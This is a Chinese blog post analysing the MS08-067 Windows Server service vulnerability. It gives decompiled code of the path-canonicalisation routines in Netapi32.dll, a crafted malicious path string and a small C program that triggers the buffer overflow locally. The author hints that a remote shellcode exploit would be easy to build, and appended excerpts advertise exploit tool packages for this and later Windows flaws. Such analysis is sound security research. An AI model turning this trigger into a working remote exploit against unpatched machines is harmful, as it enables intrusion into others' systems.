MS08-067漏洞分析(20081025)
前天看到微软紧急发布了一个漏洞补丁,就去看了下,发现该漏洞影响覆盖面非常广,包括Windows 2000/XP/2003/Vista/2008的各个版本,甚至还包括测试阶段的Windows 7 Pre-Beta,并且漏洞存在于Windows系统默认开启的Server服务当中,而且超越了当年风靡一时的MS06-040漏洞(又想起当年用该漏洞。。。。。。。嘿嘿)。这也难怪微软打破周二发布补丁的惯例。于是下了补丁研究研究。
下完补丁,发现被打补丁的又是 Netapi32.dll,对比原文件和补丁中的文件,有问题的函数又是
NetpwPathCanonicalize(MS06-040也是这个函数,具体信息请搜索)简单说下这个函数:
该函数用于标准化一个路径,一般用于本地调用,若调用者指定了一个远程计算机名将会使用RPC。
该函数能够处理的路径类型:
1.相对路径 e.g. foo\bar
2.绝对路径 e.g. \foo\bar
3.UNC 路径 e.g. \\computer\share\foo
4.全路径e.g. d:\foo\bar
该函数声明如下:
DWORD
NetpwPathCanonicalize(
LPWSTR PathName, //需要标准化的路径
LPWSTR Outbuf, //存储标准化后的路径的Buffer
DWORD OutbufLen, //Buffer长度
LPWSTR Prefix, //可选参数,当PathName是相对路径时有用
LPDWORD PathType, //存储路径类型
DWORD Flags // 保留,为0
)
该函数中在一个循环里使用wcscpy,恶意攻击者通过构造一个精心设计的路径将使漏洞触发。
结合IDA分析该函数:(F5 + 整理 + 主要代码)
int __stdcall NetpwPathCanonicalize(LPWSTR PathName, LPWSTR Outbuf, DWORD OutbufLen, LPWSTR Prefix, LPDWORD PathType, DWORD Flags)
{
bool v7;
int result;
v7 = !Prefix || !*Prefix;
Prefix = (LPWSTR)*PathType;
if ( *PathType || (result = NetpwPathType(PathName, (int)&Prefix, 0), !result) )
{
if ( v7 || (result = NetpwPathType(Prefix, (int)&Flags, 0), !result) )
{
if ( OutbufLen != 0 )
{
*Outbuf = 0;
result = CanonPathName(Prefix, PathName, Outbuf, OutbufLen, 0); //核心函数,主要处理在这里,问题也出在这里
if ( !result )
result = NetpwPathType(Outbuf, (int)PathType, 0);
}
else
{
result = 2123;
}
}
}
return result;
}
int __stdcall CanonPathName(LPWSTR PathPrefix, LPWSTR PathName, LPWSTR Buffer, DWORD BufferSize, LPDWORD RetSize)
{
size_t preLen;
size_t pathLen;
wchar_t pathBuffer[MAX_PATH*2 + 1];
if ( PathPrefix && *PathPrefix )
{
preLen = wcslen(PathPrefix);
if ( preLen != 0)
{
if ( preLen > 520 ) //520 = sizeof(pathBuffer) - 1
return 0x7Bu; // ERROR_INVALID_NAME
wcscpy(pathBuffer, PathPrefix);
if ( pathBuffer[preLen-1] != '\\' && pathBuffer[preLen-1] != '/') //判断前缀是否以'\'或'/'结尾
{
wcscat(pathBuffer, L"\\");
++preLen;
}
if ( PathName[0] == '\\' || PathName[0] == '/' )
++pathLen;
}
}
else
{
pathBuffer[0] = 0;
}
pathLen = wcslen(PathName);
if (pathLen + preLen > sizeof(pathBuffer) - 1)
return 0x7Bu; // ERROR_INVALID_NAME
wcscat(pathBuffer, PathName);
if ( pathBuffer )
{
do //该循环把路径中的'/'转换成'\'
{
if ( *pathBuffer == '/' )
*pathBuffer = '\\';
++pathBuffer;
}
while ( *pathBuffer );
}
if ( !sub_71C4A2CA() && !ConPathMacros(pathBuffer) ) //ConPathMacros中存在缓冲区溢出漏洞!!!
return 0x7Bu;
pathLen = 2 * wcslen(&pathBuffer) + 2;
if ( pathLen > BufferSize )
{
if ( RetSize )
*RetSize = pathLen;
result = 0x84Bu;
}
else
{
wcscpy(Buffer, &pathBuffer);
result = 0;
}
return result;
}
函数ConPathMacros在附件中可以找到。
在测试时大家可以把函数ConPathMacros单独提取出来,传入一个路径,看其是怎样去掉路径中的\..和\.宏
构造恶意路径:
形如".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"即可导致函数ConPathMacros漏洞的触发
溢出 Netapi32.dll:
int main(int argc, char* argv[])
{
WCHAR szBuffer[] = L".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//ConvertPathMacros(szBuffer);
//printf("%S\n", szBuffer);
HMODULE h = LoadLibrary("netapi32.dll");
if(h != NULL)
{
NetpwPathCanonicalize = (pNetpwPathCanonicalize)GetProcAddress(h, "NetpwPathCanonicalize");
if(NetpwPathCanonicalize != NULL)
{
WCHAR Buffer[256] = L"";
DWORD type = 1000; //不能为0,否则构造的路径过不了NetpwPathType的检查
DWORD ret = NetpwPathCanonicalize(szBuffer, Buffer, 512, NULL, &type, 0);
printf("ret = %x\n", ret);
printf("%S\n", Buffer);
}
FreeLibrary(h);
}
return 0;
}
漏洞的源头找到了,加个shellcode写个Remote Exploit不难。。。况且可以参考 MS06-040,
手工实现RPC通信等等。。。
Bulletin:
http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx
相关推荐
通过MS08-067源码分析,我们可以提高对网络安全的认识,掌握漏洞分析的基本方法,并从中吸取教训,提升系统的安全性。然而,值得注意的是,源码的学习和分析应仅限于教育和研究目的,不得用于非法活动。
### MS08-067漏洞深入分析 #### 漏洞原因分析 MS08-067是一个与Microsoft Windows系统中RPC服务相关的严重安全漏洞。该漏洞允许攻击者在未经身份验证的情况下通过发送特制的数据包来执行任意代码或进行拒绝服务...
【MS08-067漏洞详解】 MS08-067,全称为"Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability",是2008年微软发布的一个重大安全漏洞公告。这个漏洞影响了Windows XP、Windows ...
MS08-067是微软在2008年发布的一个重要安全更新,它修复了一个严重的漏洞,该漏洞存在于Windows操作系统中的Server服务。这个漏洞是由于远程过程调用(RPC)接口处理某些请求的方式不正确,导致了缓冲区溢出。攻击者...
MS08-067的补丁通常包括对原始问题的源代码分析、漏洞利用的详细解释以及用C语言编写的修复代码。开发者或安全研究人员可能会参考这些代码来理解漏洞的本质,并学习如何防止类似问题的发生。 【标签】"ms08-067 C...
### Excel 2007 (MS2009-067) 漏洞分析报告 #### 漏洞概述 本报告针对Microsoft Office Excel 2007中的一个严重漏洞进行了深入分析,该漏洞编号为MS2009-067。此漏洞允许攻击者通过精心构造的恶意Excel文件来执行...
7. **案例分析**:可能会有针对MS08-067漏洞的实际攻击案例分析,以便用户理解漏洞的严重性和攻击的常见模式。 使用【MS08-067华夏专版】时,用户应该首先了解自己的系统环境,判断是否受到影响,然后按照提供的...
【MS09-001漏洞利用程序-GUI】是一个针对微软操作系统安全更新MS09-001的漏洞利用工具,它具有图形用户界面(GUI),使得非技术用户也能更容易地理解和操作。这个程序专注于利用该漏洞进行攻击或测试系统安全性。 ...
### MS07-014 漏洞分析 #### 漏洞概述 MS07-014 是一个针对Microsoft Office多个版本的安全漏洞,包括Office 2000、2002和2003等。该漏洞允许攻击者通过恶意构造的文档来执行任意代码,从而获取与当前用户相同的...
MS08067漏洞利用分析,主要通过两个虚拟机系统实现RPC调用,并通过该测试,完成攻击代码测试
学习MS08-067漏洞的利用,对于网络安全专业人员来说,有助于提升对系统漏洞分析和防御的能力。同时,也能提醒用户及时更新系统,安装安全补丁,防止类似的安全威胁。然而,需要注意的是,任何对漏洞的滥用都可能违反...
6. `MS12-020利用工具 含bug修正版`:这应该是修复了已知问题的完整漏洞利用工具包,可能包括上述所有文件的集合,便于研究人员或安全专家进行分析和防御。 总的来说,这个工具包对于理解MS12-020漏洞的机制、检测...
" 暗示了这是一个针对MS08-067漏洞的高级自动化解决方案,可能是工具或者更新补丁。MS08-067是微软在2008年发布的一个严重安全公告,涉及的是Windows操作系统中的一个远程代码执行漏洞,特别影响到Server服务。这个...
【描述】"ms08067的Exp源代码和exe,欢迎下载" 提示了这些资源是公开的,并且可能被安全研究人员、渗透测试人员或者恶意黑客用于了解、分析或复现MS08-067漏洞的利用过程。下载这些文件可能有助于理解漏洞的工作原理...
【压缩包子文件的文件名称列表】中的"ms14-068"可能是该漏洞的详细分析报告、利用代码示例、缓解措施的脚本,或者是修复工具的可执行文件。用户需要谨慎对待此类文件,因为它们可能包含潜在的危险代码,必须在安全的...
3. 漏洞利用漏洞的利用分为本地和远程两种,本地利用用于分析此导出函数存在的漏洞,在远程靠此漏洞进行恶意代码执行,进而控制存在此漏洞的主机 4. 漏洞影响此例中
1. "repro.cap"可能是一个网络捕获文件,通常由网络分析工具如Wireshark创建,用于记录网络流量,以便分析和重现漏洞利用过程。 2. "rdpclient.exe"可能是受影响的RDP客户端程序,或者是模拟RDP客户端行为的测试工具...
【标题】"ms14-068利用工具包.zip" 涉及的主要知识点是针对微软在2014年发布的安全公告MS14-068的漏洞利用工具。这个工具包包含了两个可执行文件(MS14-068.exe)以及一个名为“minikataz”的64位程序,这可能是一个...
### MS12-020 漏洞 Python 利用代码详解 #### 一、背景介绍 MS12-020 是微软在 2012 年发布的一个安全公告,该公告披露了一个针对远程桌面协议 (RDP) 的严重安全漏洞。此漏洞允许攻击者通过特制的 RDP 请求向目标...
"黑白前线 - 安全网 中国网络安全技术门户网站.url"可能是一个链接,指向一个中国网络安全技术网站,该网站可能提供了更多关于MS10-048漏洞的分析、讨论和解决方案。这样的网站通常会为用户提供安全资讯、漏洞报告、...